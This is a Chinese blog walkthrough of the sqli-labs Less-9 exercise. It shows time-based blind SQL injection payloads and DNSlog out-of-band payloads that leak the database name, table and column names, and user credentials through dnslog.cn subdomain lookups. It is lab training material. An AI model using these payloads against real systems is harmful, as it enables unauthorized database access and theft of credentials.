sqli-labs less-9 Dnslog注入方法

重新做sqli-labs的时候发现这题还有另一种做法,记录一下
之前的做法 报错注入加时间盲注
1.

http://127.0.0.1/sqli_labs/Less-9/?id=1

返回正确(you are in…)

http://127.0.0.1/sqli_labs/Less-9/?id=1'

仍然返回正确(you are in…)
看源码,虽然还是用的单引号的方式闭合,但是不知道为什么不报错,但这题必然是可以注入的
换用延时注入的方法试着判断一下能否注入

http://127.0.0.1/sqli_labs/Less-9/?id=1' and sleep(5)--+

网页加载了5秒,虽然还是有正确回显(you are in…),但显然是and前面的语句报错了,只是回显永远是you are in…
2.
这步应该到查字段了,但当使用order by的时候,此时无论如何都是回显you are in….所以无法使用order by进行判断。
由于我们下一步要查数据库名,而这题盲注无论如何回显都只会给you are in…
只要我们能够判断我们猜测的数据库名是否正确就行,所以这步直接查数据库名

http://127.0.0.1/sqli_labs/Less-9/?id=1' and if(length(database())=8,1,sleep(5));

通过返回时间进行判断,此时如果数据库长度为8,则可以较快返回。

http://127.0.0.1/sqli_labs/Less-9/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=109,1,sleep(5))--+

判断第五个数据库名的第一个字母ascii码值是否是109(m)
建议不要用hackbar发包,有时会出错
3.
后面的方法都和第八关里面时间盲注的方法相类似,这里就不再赘述了

dnslog注入

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。

因为它只有正常显示和不正常显示两种状态,不回显MySQL的报错信息。一般是使用盲注,但是它页面上提示的有“Use outfile…”,既然提示了,那么就说明它开了读写权限。
使用load_file函数可行
1.构造payload

?id=1' and load_file(concat('\\\\',(select database()),'.6sx2l3.dnslog.cn\\abc'))--+

解释一下这个payload
concat()的作用就是将字符串连接在一起
\\其实是转义的意思,使用后就会变成 \
\也是转义,这样就会变成一个
然后逗号隔开,(select database()) 就是一个子查询
这时候查询语句就会变成

select load_file(\库名.SubDomain\asb)

最后构造出来的注入语句就是

select load_file(concat(’\\’,(select database()),’.SubDomain\abc’))

get这个payload后回到dnslog platform就可以看到成功爆出了我们的数据库名
在这里插入图片描述

?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+

然后依次改变limit后面的值爆出表名
在这里插入图片描述

?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+                           

爆字段名
在这里插入图片描述

?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+     #获取表中的数据
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.snkmf2.dnslog.cn\\abc'))--+     #获取表中的数据

在这里插入图片描述到此dnslog注入的步骤就完成了

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值